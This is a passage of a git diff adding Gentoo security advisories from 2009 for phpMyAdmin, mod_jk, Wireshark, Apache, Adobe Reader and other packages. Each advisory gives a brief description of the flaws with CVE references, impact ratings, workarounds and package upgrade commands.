+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a web-based management tool for MySQL databases.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in phpMyAdmin:
+    </p>
+    <ul>
+    <li>Greg Ose discovered that the setup script does not sanitize input
+    properly, leading to the injection of arbitrary PHP code into the
+    configuration file (CVE-2009-1151).</li>
+    <li>Manuel Lopez Gallego and
+    Santiago Rodriguez Collazo reported that data from cookies used in the
+    "Export" page is not properly sanitized (CVE-2009-1150).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote unauthorized attacker could exploit the first vulnerability to
+    execute arbitrary code with the privileges of the user running
+    phpMyAdmin and conduct Cross-Site Scripting attacks using the second
+    vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Removing the "scripts/setup.php" file protects you from CVE-2009-1151.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.11.9.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1150">CVE-2009-1150</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1151">CVE-2009-1151</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 27 Jun 2009 20:32:40 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 29 Jun 2009 22:35:56 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200906-04.xml b/xml/htdocs/security/en/glsa/glsa-200906-04.xml
new file mode 100644
index 00000000..34440d4f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200906-04.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200906-04">
+  <title>Apache Tomcat JK Connector: Information disclosure</title>
+  <synopsis>
+    An error in the Apache Tomcat JK Connector might allow for an information
+    disclosure flaw.
+  </synopsis>
+  <product type="ebuild">mod_jk</product>
+  <announced>June 29, 2009</announced>
+  <revised>June 29, 2009: 01</revised>
+  <bug>265455</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_jk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.27</unaffected>
+      <vulnerable range="lt">1.2.27</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache Tomcat JK Connector (aka mod_jk) connects the Tomcat
+    application server with the Apache HTTP Server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Red Hat Security Response Team discovered that mod_jk does not
+    properly handle (1) requests setting the "Content-Length" header while
+    not providing data and (2) clients sending repeated requests very
+    quickly.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could send specially crafted requests or a large
+    number of requests at a time, possibly resulting in the disclosure of a
+    response intended for another client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache Tomcat JK Connector users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_jk-1.2.27&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5519">CVE-2008-5519</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 24 Jun 2009 16:46:40 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 28 Jun 2009 12:27:09 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 29 Jun 2009 22:42:43 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200906-05.xml b/xml/htdocs/security/en/glsa/glsa-200906-05.xml
new file mode 100644
index 00000000..cc9eee55
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200906-05.xml
@@ -0,0 +1,154 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200906-05">
+  <title>Wireshark: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Wireshark which allow for
+    Denial of Service or remote code execution.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>June 30, 2009</announced>
+  <revised>June 30, 2009: 02</revised>
+  <bug>242996</bug>
+  <bug>248425</bug>
+  <bug>258013</bug>
+  <bug>264571</bug>
+  <bug>271062</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8</unaffected>
+      <vulnerable range="lt">1.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a versatile network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Wireshark:
+    </p>
+    <ul>
+    <li>
+    David Maciejak discovered a vulnerability in packet-usb.c in the USB
+    dissector via a malformed USB Request Block (URB) (CVE-2008-4680).
+    </li>
+    <li>
+    Florent Drouin and David Maciejak reported an unspecified vulnerability
+    in the Bluetooth RFCOMM dissector (CVE-2008-4681).
+    </li>
+    <li>
+    A malformed Tamos CommView capture file (aka .ncf file) with an
+    "unknown/unexpected packet type" triggers a failed assertion in wtap.c
+    (CVE-2008-4682).
+    </li>
+    <li>
+    An unchecked packet length parameter in the dissect_btacl() function in
+    packet-bthci_acl.c in the Bluetooth ACL dissector causes an erroneous
+    tvb_memcpy() call (CVE-2008-4683).
+    </li>
+    <li>
+    A vulnerability where packet-frame does not properly handle exceptions
+    thrown by post dissectors caused by a certain series of packets
+    (CVE-2008-4684).
+    </li>
+    <li>
+    Mike Davies reported a use-after-free vulnerability in the
+    dissect_q931_cause_ie() function in packet-q931.c in the Q.931
+    dissector via certain packets that trigger an exception
+    (CVE-2008-4685).
+    </li>
+    <li>
+    The Security Vulnerability Research Team of Bkis reported that the SMTP
+    dissector could consume excessive amounts of CPU and memory
+    (CVE-2008-5285).
+    </li>
+    <li>
+    The vendor reported that the WLCCP dissector could go into an infinite
+    loop (CVE-2008-6472).
+    </li>
+    <li>
+    babi discovered a buffer overflow in wiretap/netscreen.c via a
+    malformed NetScreen snoop file (CVE-2009-0599).
+    </li>
+    <li>
+    A specially crafted Tektronix K12 text capture file can cause an
+    application crash (CVE-2009-0600).
+    </li>
+    <li>
+    A format string vulnerability via format string specifiers in the HOME
+    environment variable (CVE-2009-0601).
+    </li>
+    <li>THCX Labs reported a format string vulnerability in the
+    PROFINET/DCP (PN-DCP) dissector via a PN-DCP packet with format string
+    specifiers in the station name (CVE-2009-1210).
+    </li>
+    <li>An unspecified vulnerability with unknown impact and attack vectors
+    (CVE-2009-1266).
+    </li>
+    <li>
+    Marty Adkins and Chris Maynard discovered a parsing error in the
+    dissector for the Check Point High-Availability Protocol (CPHAP)
+    (CVE-2009-1268).
+    </li>
+    <li>
+    Magnus Homann discovered a parsing error when loading a Tektronix .rf5
+    file (CVE-2009-1269).
+    </li>
+    <li>The vendor reported that the PCNFSD dissector could crash
+    (CVE-2009-1829).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending
+    specially crafted packets on a network being monitored by Wireshark or
+    by enticing a user to read a malformed packet trace file which can
+    trigger a Denial of Service (application crash or excessive CPU and
+    memory usage) and possibly allow for the execution of arbitrary code
+    with the privileges of the user running Wireshark.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-1.0.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4680">CVE-2008-4680</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4681">CVE-2008-4681</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4682">CVE-2008-4682</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4683">CVE-2008-4683</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4684">CVE-2008-4684</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4685">CVE-2008-4685</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5285">CVE-2008-5285</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6472">CVE-2008-6472</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0599">CVE-2009-0599</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0600">CVE-2009-0600</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0601">CVE-2009-0601</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1210">CVE-2009-1210</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1266">CVE-2009-1266</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1268">CVE-2009-1268</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1269">CVE-2009-1269</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1829">CVE-2009-1829</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 22 May 2009 11:33:22 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 29 Jun 2009 22:09:27 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-01.xml b/xml/htdocs/security/en/glsa/glsa-200907-01.xml
new file mode 100644
index 00000000..0523645a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-01">
+  <title>libwmf: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    libwmf bundles an old GD version which contains a "use-after-free"
+    vulnerability.
+  </synopsis>
+  <product type="ebuild">libwmf</product>
+  <announced>July 02, 2009</announced>
+  <revised>July 02, 2009: 01</revised>
+  <bug>268161</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libwmf" auto="yes" arch="*">
+      <unaffected range="ge">0.2.8.4-r3</unaffected>
+      <vulnerable range="lt">0.2.8.4-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libwmf is a library for converting WMF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    The embedded fork of the GD library introduced a "use-after-free"
+    vulnerability in a modification which is specific to libwmf.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted WMF
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libwmf users should upgrade to the latest version which no longer
+    builds the GD library:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libwmf-0.2.8.4-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1364">CVE-2009-1364</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 22 May 2009 17:28:39 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 24 May 2009 00:52:28 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 29 Jun 2009 22:09:20 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-02.xml b/xml/htdocs/security/en/glsa/glsa-200907-02.xml
new file mode 100644
index 00000000..72aad7b6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-02.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-02">
+  <title>ModSecurity: Denial of Service</title>
+  <synopsis>
+    Two vulnerabilities in ModSecurity might lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">mod_security</product>
+  <announced>July 02, 2009</announced>
+  <revised>July 02, 2009: 01</revised>
+  <bug>262302</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_security" auto="yes" arch="*">
+      <unaffected range="ge">2.5.9</unaffected>
+      <vulnerable range="lt">2.5.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ModSecurity is a popular web application firewall for the Apache HTTP
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in ModSecurity:
+    </p>
+    <ul>
+    <li>Juan Galiana Lara of ISecAuditors discovered a NULL pointer
+    dereference when processing multipart requests without a part header
+    name (CVE-2009-1902).</li>
+    <li>Steve Grubb of Red Hat reported that the
+    "PDF XSS protection" feature does not properly handle HTTP requests to
+    a PDF file that do not use the GET method (CVE-2009-1903).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might send requests containing specially crafted
+    multipart data or send certain requests to access a PDF file, possibly
+    resulting in a Denial of Service (crash) of the Apache HTTP daemon.
+    NOTE: The PDF XSS protection is not enabled by default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ModSecurity users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_security-2.5.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1902">CVE-2009-1902</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1903">CVE-2009-1903</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Jun 2009 22:17:27 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 27 Jun 2009 20:29:14 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 02 Jul 2009 11:54:37 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-03.xml b/xml/htdocs/security/en/glsa/glsa-200907-03.xml
new file mode 100644
index 00000000..84868968
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-03.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-03">
+  <title>APR Utility Library: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the Apache Portable Runtime Utility Library
+    might enable remote attackers to cause a Denial of Service or disclose
+    sensitive information.
+  </synopsis>
+  <product type="ebuild">apr-util</product>
+  <announced>July 04, 2009</announced>
+  <revised>July 04, 2009: 01</revised>
+  <bug>268643</bug>
+  <bug>272260</bug>
+  <bug>274193</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/apr-util" auto="yes" arch="*">
+      <unaffected range="ge">1.3.7</unaffected>
+      <vulnerable range="lt">1.3.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache Portable Runtime Utility Library (aka apr-util) provides an
+    interface to functionality such as XML parsing, string matching and
+    databases connections.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in the APR Utility
+    Library:
+    </p>
+    <ul>
+    <li>Matthew Palmer reported a heap-based buffer
+    underflow while compiling search patterns in the
+    apr_strmatch_precompile() function in strmatch/apr_strmatch.c
+    (CVE-2009-0023).</li>
+    <li>kcope reported that the expat XML parser in
+    xml/apr_xml.c does not limit the amount of XML entities expanded
+    recursively (CVE-2009-1955).</li>
+    <li>C. Michael Pilato reported an
+    off-by-one error in the apr_brigade_vprintf() function in
+    buckets/apr_brigade.c (CVE-2009-1956).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to cause a Denial
+    of Service (crash or memory exhaustion) via an Apache HTTP server
+    running mod_dav or mod_dav_svn, or using several configuration files.
+    Additionally, a remote attacker could disclose sensitive information or
+    cause a Denial of Service by sending a specially crafted input. NOTE:
+    Only big-endian architectures such as PPC and HPPA are affected by the
+    latter flaw.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache Portable Runtime Utility Library users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/apr-util-1.3.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0023">CVE-2009-0023</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1955">CVE-2009-1955</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1956">CVE-2009-1956</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 26 Jun 2009 08:48:34 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 28 Jun 2009 12:16:58 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Jul 2009 07:45:32 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-04.xml b/xml/htdocs/security/en/glsa/glsa-200907-04.xml
new file mode 100644
index 00000000..cf09ec7e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-04.xml
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-04">
+  <title>Apache: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the Apache HTTP daemon allow for local
+    privilege escalation, information disclosure or Denial of Service attacks.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>268154</bug>
+  <bug>271470</bug>
+  <bug>276426</bug>
+  <bug>276792</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.2.11-r2</unaffected>
+      <vulnerable range="lt">2.2.11-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in the Apache HTTP
+    server:
+    </p>
+    <ul>
+    <li>Jonathan Peatfield reported that the
+    "Options=IncludesNoEXEC" argument to the "AllowOverride" directive is
+    not processed properly (CVE-2009-1195).</li>
+    <li>Sander de Boer
+    discovered that the AJP proxy module (mod_proxy_ajp) does not correctly
+    handle POST requests that do not contain a request body
+    (CVE-2009-1191).</li>
+    <li>The vendor reported that the HTTP proxy
+    module (mod_proxy_http), when being used as a reverse proxy, does not
+    properly handle requests containing more data as stated in the
+    "Content-Length" header (CVE-2009-1890).</li>
+    <li>Francois Guerraz
+    discovered that mod_deflate does not abort the compression of large
+    files even when the requesting connection is closed prematurely
+    (CVE-2009-1891).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could circumvent restrictions put up by the server
+    administrator and execute arbitrary commands with the privileges of the
+    user running the Apache server. A remote attacker could send multiple
+    requests to a server with the AJP proxy module, possibly resulting in
+    the disclosure of a request intended for another client, or cause a
+    Denial of Service by sending specially crafted requests to servers
+    running mod_proxy_http or mod_deflate.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Remove "include", "proxy_ajp", "proxy_http" and "deflate" from
+    APACHE2_MODULES in make.conf and rebuild Apache, or disable the
+    aforementioned modules in the Apache configuration.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/apache-2.2.11-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1195">CVE-2009-1195</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1191">CVE-2009-1191</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1890">CVE-2009-1890</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1891">CVE-2009-1891</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 11 Jul 2009 20:22:24 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Jul 2009 21:34:40 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Jul 2009 15:17:06 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-05.xml b/xml/htdocs/security/en/glsa/glsa-200907-05.xml
new file mode 100644
index 00000000..8facbd6b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-05">
+  <title>git: git-daemon Denial of Service</title>
+  <synopsis>
+    An error in git-daemon might lead to a Denial of Service via resource
+    consumption.
+  </synopsis>
+  <product type="ebuild">git</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>273905</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/git" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3.3</unaffected>
+      <vulnerable range="lt">1.6.3.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    git - the stupid content tracker, the revision control system used by
+    the Linux kernel team.
+    </p>
+  </background>
+  <description>
+    <p>
+    Shawn O. Pearce reported that git-daemon runs into an infinite loop
+    when handling requests that contain unrecognized arguments.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker could send a specially crafted
+    request to git-daemon, possibly leading to a Denial of Service (CPU
+    consumption).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All git users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/git-1.6.3.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2108">CVE-2009-2108</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 18:02:51 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Jul 2009 00:41:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Jul 2009 00:41:24 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-06.xml b/xml/htdocs/security/en/glsa/glsa-200907-06.xml
new file mode 100644
index 00000000..67e59973
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-06.xml
@@ -0,0 +1,125 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-06">
+  <title>Adobe Reader: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Adobe Reader is vulnerable to remote code execution via crafted PDF files.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>267846</bug>
+  <bug>273908</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">8.1.6</unaffected>
+      <vulnerable range="lt">8.1.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Reader is a PDF reader released by Adobe.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Adobe Reader:
+    </p>
+    <ul>
+    <li>Alin Rad Pop of Secunia Research reported a heap-based buffer
+    overflow in the JBIG2 filter (CVE-2009-0198).
+    </li>
+    <li>Mark Dowd of the IBM Internet Security Systems X-Force and
+    Nicolas Joly of VUPEN Security reported multiple heap-based buffer
+    overflows in the JBIG2 filter (CVE-2009-0509, CVE-2009-0510,
+    CVE-2009-0511, CVE-2009-0512, CVE-2009-0888, CVE-2009-0889)
+    </li>
+    <li>Arr1val reported that multiple methods in the JavaScript API
+    might lead to memory corruption when called with crafted arguments
+    (CVE-2009-1492, CVE-2009-1493).
+    </li>
+    <li>
+    An anonymous researcher reported a stack-based buffer overflow related
+    to U3D model files with a crafted extension block (CVE-2009-1855).
+    </li>
+    <li>
+    Jun Mao and Ryan Smith of iDefense Labs reported an integer overflow
+    related to the FlateDecode filter, which triggers a heap-based buffer
+    overflow (CVE-2009-1856).
+    </li>
+    <li>
+    Haifei Li of Fortinet's FortiGuard Global Security Research Team
+    reported a memory corruption vulnerability related to TrueType fonts
+    (CVE-2009-1857).
+    </li>
+    <li>
+    The Apple Product Security Team reported a memory corruption
+    vulnerability in the JBIG2 filter (CVE-2009-1858).
+    </li>
+    <li>
+    Matthew Watchinski of Sourcefire VRT reported an unspecified memory
+    corruption (CVE-2009-1859).
+    </li>
+    <li>
+    Will Dormann of CERT reported multiple heap-based buffer overflows when
+    processing JPX (aka JPEG2000) stream that trigger heap memory
+    corruption (CVE-2009-1861).
+    </li>
+    <li>
+    Multiple unspecified vulnerabilities have been discovered
+    (CVE-2009-2028).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly resulting in the execution of arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-8.1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0198">CVE-2009-0198</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0509">CVE-2009-0509</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0510">CVE-2009-0510</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0511">CVE-2009-0511</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0512">CVE-2009-0512</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0888">CVE-2009-0888</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0889">CVE-2009-0889</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1492">CVE-2009-1492</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1493">CVE-2009-1493</uri>
